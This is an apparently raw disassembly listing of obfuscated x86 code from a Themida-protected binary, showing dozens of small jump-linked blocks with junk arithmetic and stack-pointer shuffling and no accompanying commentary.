loc_55AD29:				; CODE XREF: Themida_:00553839j
		sub	edi, 78BF2CC3h
		sub	edi, esi
		push	eax
		jmp	loc_55B87C
; ---------------------------------------------------------------------------


loc_55AD37:				; CODE XREF: Themida_:00553899j
		mov	edx, ecx
		jmp	loc_55BBA7
; ---------------------------------------------------------------------------


loc_55AD3E:				; CODE XREF: Themida_:005541A2j
		mov	bh, [esp+4]
		mov	[esp+4], al
		pop	eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55AD4C:				; CODE XREF: Themida_:0055B1BEj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_555A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55AD65:				; CODE XREF: sub_55656B-47C3j
		add	bl, ch
		mov	cx, word ptr [esp+4+var_4]
		add	esp, 2
		add	bl, 0B7h
		add	bl, al
		push	edx
		mov	dl, 11h
		xchg	cl, dl
		neg	cl
		xchg	cl, dl
		push	ecx
		mov	cl, 81h
		add	cl, 49h
		jmp	loc_55B32B
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55AD87:				; CODE XREF: Themida_:00552C06j
		shr	eax, 8
		sub	eax, 5FA9466Dh
		jmp	loc_55282E
; ---------------------------------------------------------------------------


loc_55AD94:				; CODE XREF: Themida_:005535B3j
		mov	[esp], edi
		push	ecx
		mov	ecx, 118A4556h
		shr	ecx, 6
		dec	ecx
		sub	esp, 4
		jmp	loc_55A193
; ---------------------------------------------------------------------------


loc_55ADA9:				; CODE XREF: Themida_:005562DEj
		mov	edx, ebp
		pop	ebp
		jmp	loc_55865E
; ---------------------------------------------------------------------------


loc_55ADB1:				; CODE XREF: Themida_:00553992j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55DAEB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55AE1E
; ---------------------------------------------------------------------------


loc_55ADD2:				; CODE XREF: Themida_:00558955j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, 1AC71CC8h
		add	ebx, esi
		push	ecx
		mov	ecx, 1AC71CC8h
		add	ebx, ecx
		pop	ecx
		pop	esi
		jmp	loc_552C3E
; ---------------------------------------------------------------------------


loc_55ADFA:				; CODE XREF: Themida_:0055A924j
		or	edi, esi
		pop	esi
		and	edi, 221F3C85h
		sub	edi, 0FBFC09C7h
		jmp	loc_55C7C1
; ---------------------------------------------------------------------------


loc_55AE0E:				; CODE XREF: Themida_:0055CA5Fj
		sub	edx, 485E2899h
		pop	esi
		add	edx, 2
		push	edx
		jmp	loc_5553F9
; ---------------------------------------------------------------------------


loc_55AE1E:				; CODE XREF: Themida_:0055ADCDj
		push	2F6Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551F12
; ---------------------------------------------------------------------------


loc_55AE38:				; CODE XREF: Themida_:00556D75j
		mov	ebx, 496932E5h
		xor	ebx, 4D601A0Ah
		add	esi, ebx
		jmp	loc_552673
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5317h
		mov	[esp], esi
		mov	esi, esp
		push	edx
		jmp	loc_55703D
; ---------------------------------------------------------------------------


loc_55AE5E:				; CODE XREF: Themida_:0055863Aj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55848C
; ---------------------------------------------------------------------------


loc_55AE72:				; CODE XREF: Themida_:00558222j
		push	edi
		mov	edi, 4DC976B9h
		dec	edi
		and	edi, 17937E42h
		add	edi, 0FFFFFFFFh
		xor	edi, 5C392904h
		add	ebx, 0AFB238Ch
		sub	ebx, edi
		sub	ebx, 0AFB238Ch
		pop	edi
		jmp	loc_5548D9
; ---------------------------------------------------------------------------


loc_55AE9C:				; CODE XREF: Themida_:00553C3Ej
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55A403
; ---------------------------------------------------------------------------


loc_55AEB0:				; CODE XREF: Themida_:00553E8Fj
		mov	ebx, 6F4F2BAEh
		jmp	loc_55B390
; ---------------------------------------------------------------------------


loc_55AEBA:				; CODE XREF: Themida_:0055503Cj
		mov	[esp], eax
		mov	eax, 0C0C4AAD5h
		xor	ebx, eax
		jmp	loc_55D9F6
; ---------------------------------------------------------------------------


loc_55AEC9:				; CODE XREF: Themida_:00552ABBj
		shl	ebx, 8
		add	ebx, 38420522h
		jmp	loc_557AD0
; ---------------------------------------------------------------------------


loc_55AED7:				; CODE XREF: Themida_:00554970j
		mov	ecx, 4
		jmp	loc_55955C
; ---------------------------------------------------------------------------


loc_55AEE1:				; CODE XREF: Themida_:00553807j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	27B5h
		jmp	loc_556591
; ---------------------------------------------------------------------------


loc_55AEF9:				; CODE XREF: Themida_:0055CBE1j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5530F1
; ---------------------------------------------------------------------------


loc_55AF13:				; CODE XREF: Themida_:00554296j
		mov	bh, [esp+4]
		mov	[esp+4], ch
		pop	ecx
		xchg	cl, bh
		push	bx
		mov	bl, cl
		xchg	dh, bl
		not	dh
		xchg	dh, bl
		jmp	loc_55CF6D
; ---------------------------------------------------------------------------


loc_55AF2D:				; CODE XREF: Themida_:0055D911j
		sub	ebp, 11C7B231h
		sub	edi, 17020926h
		sub	edi, ebp
		add	edi, 17020926h
		pop	ebp
		jmp	loc_55D316
; ---------------------------------------------------------------------------


loc_55AF47:				; CODE XREF: Themida_:0055CDE1j
		pop	esi
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	[edi+24h], eax
		jmp	loc_5599E6
; ---------------------------------------------------------------------------


loc_55AF59:				; CODE XREF: Themida_:0055E01Fj
		sub	ch, 0C9h
		or	ch, 79h
		jmp	loc_551BC8
; ---------------------------------------------------------------------------


loc_55AF64:				; CODE XREF: Themida_:00553CBBj
		push	eax
		push	edi
		mov	edi, 40C87D6Dh
		mov	eax, 350B8A20h
		add	eax, edi
		jmp	loc_55E02A
; ---------------------------------------------------------------------------


loc_55AF77:				; CODE XREF: Themida_:0055C2D2j
		push	esi
		jmp	loc_5586E6
; ---------------------------------------------------------------------------


loc_55AF7D:				; CODE XREF: Themida_:00554BC5j
		push	903h
		jmp	loc_555C60
; ---------------------------------------------------------------------------


loc_55AF87:				; CODE XREF: Themida_:00559959j
		push	edi
		mov	edi, 3D130B20h
		xor	edi, 279931BEh
		jmp	loc_556EB2
; ---------------------------------------------------------------------------


loc_55AF98:				; CODE XREF: Themida_:0055DB36j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_558A4A
; ---------------------------------------------------------------------------


loc_55AFAD:				; CODE XREF: Themida_:005567FAj
		and	ebp, 3EC73DAFh
		or	ebp, 0CCB0668h
		add	ebp, 390403ABh
		push	eax
		jmp	loc_553FEF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_557DFD
; ---------------------------------------------------------------------------


loc_55AFD2:				; CODE XREF: Themida_:0055DB1Aj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55D53C
; ---------------------------------------------------------------------------


loc_55AFDF:				; CODE XREF: Themida_:00555375j
		add	ecx, 4
		jmp	loc_5556BE
; ---------------------------------------------------------------------------


loc_55AFEA:				; CODE XREF: Themida_:0055DD95j
		add	esp, 4
		add	edx, 4
		push	7DC9h
		mov	[esp], ecx
		push	ebx
		jmp	loc_554377
; ---------------------------------------------------------------------------


loc_55B004:				; CODE XREF: Themida_:0055635Aj
		mov	dh, 35h
		jmp	loc_55D01F
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_5524B6
; ---------------------------------------------------------------------------


loc_55B017:				; CODE XREF: Themida_:00554DBAj
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_5542C6
; ---------------------------------------------------------------------------


loc_55B027:				; CODE XREF: Themida_:00558F2Cj
		push	ebp
		jmp	loc_5590AE
; ---------------------------------------------------------------------------


loc_55B02D:				; CODE XREF: Themida_:0055C1A1j
		push	4DB9h
		mov	[esp], ecx
		mov	ecx, 0E94160Bh
		jmp	loc_5539C3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_557FE6
; ---------------------------------------------------------------------------


loc_55B055:				; CODE XREF: Themida_:00558487j
		xor	ebx, eax
		push	0B7Dh
		mov	[esp], edx
		mov	edx, 2Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4EDE4297h
		sub	edx, 6E060229h
		add	edx, eax
		add	edx, 6E060229h
		mov	eax, [esp]
		add	esp, 4
		add	edx, edi
		sub	edx, 4EDE4297h
		jmp	loc_5568DB
; ---------------------------------------------------------------------------


loc_55B093:				; CODE XREF: Themida_:005545C3j
		dec	ebp
		push	edx
		mov	edx, 739F2248h
		jmp	loc_55895A
; ---------------------------------------------------------------------------


loc_55B09F:				; CODE XREF: Themida_:00557AE5j
		sub	bh, 7Bh
		inc	bh
		xor	bh, 0D0h
		jmp	loc_556393
; ---------------------------------------------------------------------------


loc_55B0AC:				; CODE XREF: Themida_:0055BFB9j
		push	ecx
		mov	ecx, 10374FAh
		push	35Ch
		mov	[esp], edi
		jmp	loc_558826
; ---------------------------------------------------------------------------


loc_55B0BF:				; CODE XREF: Themida_:0055DDF7j
		add	ebx, 8000820Dh
		mov	ebp, ebx
		jmp	loc_55C3E0
; ---------------------------------------------------------------------------


loc_55B0CC:				; CODE XREF: Themida_:00552AC8j
		mov	cl, 0E5h
		xor	ah, cl
		pop	cx
		sub	bl, ah
		pop	eax
		jmp	loc_5580D1
; ---------------------------------------------------------------------------


loc_55B0DA:				; CODE XREF: Themida_:0055998Dj
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 7C71005h
		or	ebp, 1EBD11E1h
		neg	ebp
		sub	ebp, 2A3E778Fh
		xor	ebp, 0B5C27688h
		add	eax, ebp
		pop	ebp
		jmp	loc_554F78
; ---------------------------------------------------------------------------


loc_55B101:				; CODE XREF: Themida_:00557C9Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4ED42DAEh
		dec	ebx
		or	ebx, 773E27BEh
		push	edx
		mov	edx, 0F7D3329h
		jmp	$+5
		or	ebx, edx
		pop	edx
		sub	ebx, 1
		jmp	loc_556B1A
; ---------------------------------------------------------------------------


loc_55B14D:				; CODE XREF: Themida_:0055BEACj
		mov	[esp], eax
		push	edx
		push	436B6A3Dh
		jmp	loc_558D96
; ---------------------------------------------------------------------------


loc_55B15B:				; CODE XREF: Themida_:0055607Ej
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	eax
		push	ebx
		push	edx
		jmp	loc_558367
; ---------------------------------------------------------------------------


loc_55B17D:				; CODE XREF: Themida_:00558D06j
		add	edi, 808AA04Eh
		push	9C3h
		mov	[esp], edx
		mov	edx, 78C211C5h
		jmp	loc_55A164
; ---------------------------------------------------------------------------


loc_55B195:				; CODE XREF: Themida_:00554195j
		sub	ebx, esi
		pop	esi
		add	eax, 148F4A42h
		sub	eax, 0DE44DA9h
		add	eax, ebx
		push	442Ch
		mov	[esp], ebx
		push	ebp
		mov	ebp, 5BA35FACh
		add	ebp, 1ED36751h
		jmp	loc_557CC9
; ---------------------------------------------------------------------------


loc_55B1BD:				; CODE XREF: Themida_:0055B8D5j
		pop	esp
		jmp	loc_55AD4C
; ---------------------------------------------------------------------------


loc_55B1C3:				; CODE XREF: Themida_:005561EEj
		pop	esp
		jmp	loc_557270
; ---------------------------------------------------------------------------


loc_55B1C9:				; CODE XREF: Themida_:0055A084j
		add	eax, ecx
		pop	ecx
		add	eax, ebx
		push	1BC9h
		mov	[esp], edi
		jmp	loc_557762
; ---------------------------------------------------------------------------


loc_55B1DB:				; CODE XREF: Themida_:00557F5Ej
		add	ecx, edx
		pop	edx
		jmp	loc_556AF9
; ---------------------------------------------------------------------------


loc_55B1E3:				; CODE XREF: Themida_:00553AA2j
		push	esi
		jmp	loc_554853
; ---------------------------------------------------------------------------


loc_55B1E9:				; CODE XREF: Themida_:0055C13Dj
		mov	ecx, 731471ADh
		and	ecx, 41F64B73h
		add	ecx, 4B7E77A3h
		sub	ecx, 1EF2591Ah
		jmp	loc_55C8C8
; ---------------------------------------------------------------------------


loc_55B205:				; CODE XREF: Themida_:00559321j
		push	1309h
		jmp	loc_5536A3
; ---------------------------------------------------------------------------


loc_55B20F:				; CODE XREF: Themida_:00559089j
		shr	esi, 1
		not	esi
		jmp	loc_555BDD
; ---------------------------------------------------------------------------


loc_55B218:				; CODE XREF: Themida_:00559CA2j
		or	ecx, 48C40256h
		sub	ecx, 0E5C3A091h
		sub	eax, ecx
		pop	ecx
		sub	eax, 1640365Dh
		add	eax, 0D4925A6h
		shl	eax, 7
		jmp	loc_55CF3A
; ---------------------------------------------------------------------------


loc_55B239:				; CODE XREF: Themida_:00557404j
		push	4059h
		mov	[esp], esi
		mov	esi, 57D4788Fh
		push	edi
		jmp	loc_55B4E2
; ---------------------------------------------------------------------------


loc_55B24C:				; CODE XREF: Themida_:0055A248j
		push	edi
		mov	edi, 6B4506C4h
		not	edi
		jmp	loc_552A0A
; ---------------------------------------------------------------------------


loc_55B259:				; CODE XREF: Themida_:0055638Ej
		push	7AADh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5533AB
; ---------------------------------------------------------------------------


loc_55B271:				; CODE XREF: Themida_:0055D091j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	bl, 0A4h
		push	edx
		mov	dh, 0BFh
		add	dh, 16h
		jmp	loc_55CC94
; ---------------------------------------------------------------------------


loc_55B28A:				; CODE XREF: Themida_:005588ACj
		push	ebx
		mov	ebx, 0E32EFD63h
		sub	edx, ebx
		pop	ebx
		jmp	loc_55287A
; ---------------------------------------------------------------------------


loc_55B298:				; CODE XREF: Themida_:00554AFFj
		or	ecx, 102F1FAFh
		xor	ecx, 3B6F51D7h
		and	edi, ecx
		pop	ecx
		xor	edi, 16532C91h
		add	eax, edi
		pop	edi
		jmp	loc_55A005
; ---------------------------------------------------------------------------


loc_55B2B5:				; CODE XREF: Themida_:0055642Cj
		pop	ecx
		sub	ebx, 7D3B669Ah
		sub	ebx, eax
		push	eax
		push	54CEh
		mov	[esp], edi
		mov	edi, 5553349Dh
		shl	edi, 7
		not	edi
		and	edi, 6EF31E22h
		inc	edi
		xor	edi, 3B5A76B9h
		mov	eax, edi
		pop	edi
		add	ebx, 7EA337F0h
		jmp	loc_556E70
; ---------------------------------------------------------------------------


loc_55B2EC:				; CODE XREF: Themida_:005535C3j
		mov	cl, 0B4h
		xor	cl, 0BDh
		not	cl
		jmp	loc_555C6D
; ---------------------------------------------------------------------------


loc_55B2F8:				; CODE XREF: Themida_:00552FE4j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55B2FD:				; CODE XREF: Themida_:0055B840j
		push	52442628h
		push	dword ptr [esp]
		jmp	loc_55C2B8
; ---------------------------------------------------------------------------


loc_55B30A:				; CODE XREF: Themida_:00551DEEj
		push	4312h
		mov	[esp], ecx
		mov	ecx, 2DE64434h
		add	ecx, 0D219BBD0h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 2
		jmp	loc_55CD5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_55B32B:				; CODE XREF: sub_55656B+4817j
		push	eax
		jmp	loc_5552DD
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	52DCh
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 62B87A18h
		add	ebp, 5DB93E73h
		jmp	loc_55620A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_556C61
; ---------------------------------------------------------------------------


loc_55B364:				; CODE XREF: Themida_:005533A6j
		shr	edx, 2
		neg	edx
		xor	edx, 50631E40h
		xor	edx, 0BCEDA5A6h
		jmp	loc_552218
; ---------------------------------------------------------------------------


loc_55B37A:				; CODE XREF: Themida_:00552CD7j
		add	esi, 0EC6BAB07h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55D2BA
; ---------------------------------------------------------------------------


loc_55B390:				; CODE XREF: Themida_:0055AEB5j
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		jmp	loc_557F2D
; ---------------------------------------------------------------------------


loc_55B39E:				; CODE XREF: Themida_:00556323j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		push	eax
		mov	eax, 43C5932h
		mov	edi, 3B581960h
		xor	edi, eax
		jmp	loc_55722F
; ---------------------------------------------------------------------------


loc_55B3BF:				; CODE XREF: Themida_:00558F21j
		mov	esp, [esp]
		push	32EEh
		jmp	loc_553F1C
; ---------------------------------------------------------------------------


loc_55B3CC:				; CODE XREF: Themida_:0055A326j
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_55717D
; ---------------------------------------------------------------------------


loc_55B3DE:				; CODE XREF: Themida_:00556486j
		shr	ebp, 8
		inc	ebp
		add	ebp, 0FFDDFF3Fh
		jmp	loc_555718
; ---------------------------------------------------------------------------


loc_55B3ED:				; CODE XREF: Themida_:0055AB42j
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5584E8
; ---------------------------------------------------------------------------


loc_55B404:				; CODE XREF: Themida_:005563E4j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_558DD8
; ---------------------------------------------------------------------------


loc_55B416:				; CODE XREF: Themida_:00554D6Cj
		xor	edx, edx
		push	3046h
		jmp	loc_55A3D4
; ---------------------------------------------------------------------------


loc_55B422:				; CODE XREF: Themida_:0055CBE9j
		push	ebx
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	edi, ebp
		pop	ebp
		jmp	loc_55BAB0
; ---------------------------------------------------------------------------


loc_55B433:				; CODE XREF: Themida_:00552F47j
		pop	eax
		push	ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_556C0E
; ---------------------------------------------------------------------------


loc_55B444:				; CODE XREF: Themida_:0055A30Ej
		push	ebp
		mov	ebp, 63BF4484h
		not	ebp
		neg	ebp
		jmp	loc_5521C1
; ---------------------------------------------------------------------------


loc_55B453:				; CODE XREF: Themida_:00556335j
		xchg	edi, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]


loc_55B462:				; CODE XREF: Themida_:00552599j
		push	ebx
		jmp	loc_559ACF
; ---------------------------------------------------------------------------


loc_55B468:				; CODE XREF: Themida_:00555E58j
		pop	eax
		add	ebx, edi
		push	edx
		jmp	loc_551AF3
; ---------------------------------------------------------------------------


loc_55B471:				; CODE XREF: Themida_:00556F43j
		add	esi, 2
		push	esi
		jmp	loc_554D9A
; ---------------------------------------------------------------------------


loc_55B47A:				; CODE XREF: Themida_:0055C06Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_553533
; ---------------------------------------------------------------------------


loc_55B485:				; CODE XREF: Themida_:00555733j
		add	esi, 4
		add	esi, 4
		jmp	loc_557DF2
; ---------------------------------------------------------------------------


loc_55B493:				; CODE XREF: Themida_:00558D1Fj
		mov	esp, [esp]
		jmp	loc_55CDC4
; ---------------------------------------------------------------------------


loc_55B49B:				; CODE XREF: Themida_:00558387j
		mov	edx, 2
		add	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55BDB0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_557A95
; ---------------------------------------------------------------------------


loc_55B4CF:				; CODE XREF: Themida_:00555C10j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55893A
; ---------------------------------------------------------------------------


loc_55B4DA:				; CODE XREF: Themida_:005544D8j
		sub	[edi+24h], ecx
		jmp	loc_55760E
; ---------------------------------------------------------------------------


loc_55B4E2:				; CODE XREF: Themida_:0055B247j
		push	esi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, edi
		mov	ebp, ecx
		pop	ecx
		pop	edi
		pop	esi
		xor	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55A1D0
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_559F5A
; ---------------------------------------------------------------------------


loc_55B506:				; CODE XREF: Themida_:00557630j
		add	ebx, 4
		jmp	loc_558BBE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_559950
; ---------------------------------------------------------------------------


loc_55B517:				; CODE XREF: Themida_:0055A33Cj
		mov	[esp], ecx
		push	2317h
		mov	[esp], esi
		mov	esi, 126272CBh
		add	esi, 0ED9D8D36h
		push	ebx
		push	esi
		xor	dword ptr [esp], 73C40D81h
		jmp	loc_559FB0
; ---------------------------------------------------------------------------


loc_55B53B:				; CODE XREF: Themida_:005589AAj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5526FC
; ---------------------------------------------------------------------------


loc_55B549:				; CODE XREF: Themida_:0055C43Fj
		xor	edi, 4EE736B5h
		add	esi, 4D492557h
		sub	esi, edi
		jmp	loc_55BB61
; ---------------------------------------------------------------------------


loc_55B55C:				; CODE XREF: Themida_:00551E71j
		sub	eax, edx
		pop	edx
		pop	ecx
		push	ecx
		mov	ecx, 58C6058h
		add	ecx, 1F9B4998h
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55BC38
; ---------------------------------------------------------------------------


loc_55B58D:				; CODE XREF: Themida_:00556A57j
		shr	ebx, 7
		jmp	loc_553272
; ---------------------------------------------------------------------------


loc_55B595:				; CODE XREF: Themida_:00555241j
		add	edx, 4
		push	ecx
		push	esi
		push	3CB966FDh
		pop	esi
		sub	esi, 3CB966F9h
		push	esi
		sub	dword ptr [esp], 6E176AD3h
		jmp	loc_554724
; ---------------------------------------------------------------------------


loc_55B5B6:				; CODE XREF: Themida_:0055CEBFj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_559186
; ---------------------------------------------------------------------------


loc_55B5C6:				; CODE XREF: Themida_:00555ED4j
		or	ebp, ecx
		pop	ecx
		neg	ebp
		jmp	loc_5550E3
; ---------------------------------------------------------------------------


loc_55B5D0:				; CODE XREF: Themida_:0055C8D1j
		mov	esi, 743202FBh
		push	edi
		mov	edi, esi
		jmp	loc_552A3D
; ---------------------------------------------------------------------------


loc_55B5DD:				; CODE XREF: Themida_:00552265j
		pop	ecx
		push	edi
		jmp	loc_55E063
; ---------------------------------------------------------------------------


loc_55B5E4:				; CODE XREF: Themida_:00557B2Ej
		pop	esp
		jmp	loc_5595AC
; ---------------------------------------------------------------------------


loc_55B5EA:				; CODE XREF: Themida_:0055B61Cj
		bt	[esp], eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55B5F4:				; CODE XREF: Themida_:00551D4Aj
		add	eax, ebp
		sub	eax, 705546Ah
		jmp	loc_55A16F
; ---------------------------------------------------------------------------


loc_55B600:				; CODE XREF: Themida_:005573E6j
		pop	esp
		jmp	loc_55DEF1
; ---------------------------------------------------------------------------


loc_55B606:				; CODE XREF: Themida_:00556B15j
		not	edx
		and	edx, 74DA0383h
		xor	edx, 6DBC0647h
		sub	ebx, edx
		pop	edx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55B5EA
; ---------------------------------------------------------------------------


loc_55B621:				; CODE XREF: Themida_:0055795Ej
		pop	edx
		push	edx
		mov	edx, 7ED40E2Ah
		jmp	loc_55E089
; ---------------------------------------------------------------------------


loc_55B62D:				; CODE XREF: Themida_:005546A2j
		mov	ecx, 5EB11B9Ch
		jmp	loc_55B9FC
; ---------------------------------------------------------------------------


loc_55B637:				; CODE XREF: Themida_:005597E0j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 27230535h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_55B655:				; CODE XREF: Themida_:0055C540j
		push	3066h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_552C30
; ---------------------------------------------------------------------------


loc_55B66B:				; CODE XREF: Themida_:0055DEFAj
		add	ebp, eax
		jmp	loc_559069
; ---------------------------------------------------------------------------


loc_55B672:				; CODE XREF: Themida_:00555019j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55B677:				; CODE XREF: Themida_:005579EBj
		mov	[esp], ebp
		push	514721CFh
		pop	ebp
		push	ecx
		jmp	loc_55989D
; ---------------------------------------------------------------------------


loc_55B686:				; CODE XREF: Themida_:00558362j
		mov	ecx, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	2B84h
		mov	[esp], ebx
		jmp	loc_55A5A6
; ---------------------------------------------------------------------------
		push	63C7h
		push	esp
		pop	dword ptr [esp]
		push	310h
		mov	[esp], edi
		mov	edi, 36741D64h
		shl	edi, 5
		jmp	loc_5578BD
; ---------------------------------------------------------------------------


loc_55B6D0:				; CODE XREF: Themida_:00558B66j
		xor	esi, ebp
		pop	ebp
		xor	ebx, esi
		jmp	loc_55D856
; ---------------------------------------------------------------------------


loc_55B6DA:				; CODE XREF: Themida_:00556395j
		sub	bh, 0B7h
		and	dl, bh
		pop	ebx
		dec	dl
		jmp	loc_5571BD
; ---------------------------------------------------------------------------


loc_55B6E7:				; CODE XREF: Themida_:00552717j
		shl	esi, 6
		push	7E13h
		mov	[esp], edi
		jmp	loc_552492
; ---------------------------------------------------------------------------


loc_55B6F7:				; CODE XREF: Themida_:0055D8C5j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	519Dh
		mov	[esp], edx
		push	ecx
		push	ebp
		push	20E00370h
		pop	ebp
		push	edx
		mov	edx, 687E5C39h
		not	edx
		inc	edx
		jmp	loc_552BF9
; ---------------------------------------------------------------------------


loc_55B720:				; CODE XREF: Themida_:005581C9j
		xor	ebx, 34566A57h
		sub	esi, ebx
		jmp	loc_554C9E
; ---------------------------------------------------------------------------


loc_55B72D:				; CODE XREF: Themida_:0055701Bj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551B27
; ---------------------------------------------------------------------------


loc_55B736:				; CODE XREF: Themida_:00556759j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 47714477h
		jmp	loc_55DDEB
; ---------------------------------------------------------------------------


loc_55B74A:				; CODE XREF: Themida_:00553E30j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		push	1079h
		mov	[esp], eax
		mov	eax, 4
		sub	esi, 853242Bh
		add	esi, 2DD77594h
		add	esi, eax
		sub	esi, 2DD77594h
		jmp	loc_55D55B
; ---------------------------------------------------------------------------


loc_55B778:				; CODE XREF: Themida_:0055545Fj
		push	edx
		mov	edx, 4
		mov	ebp, edx
		jmp	loc_55DD35
; ---------------------------------------------------------------------------


loc_55B785:				; CODE XREF: Themida_:0055C112j
		and	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_554C73
; ---------------------------------------------------------------------------


loc_55B791:				; CODE XREF: Themida_:0055AA6Fj
		sub	edx, 5E13CDD1h
		and	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_554DBF
; ---------------------------------------------------------------------------


loc_55B7A0:				; CODE XREF: Themida_:00559BA9j
		mov	eax, 70645A79h
		add	[esp+4], eax
		pop	eax
		pop	ecx
		jmp	loc_559B78
; ---------------------------------------------------------------------------


loc_55B7B0:				; CODE XREF: Themida_:0055542Aj
		mov	bl, dl
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_557156
; ---------------------------------------------------------------------------


loc_55B7BE:				; CODE XREF: Themida_:005526F7j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554348
; ---------------------------------------------------------------------------


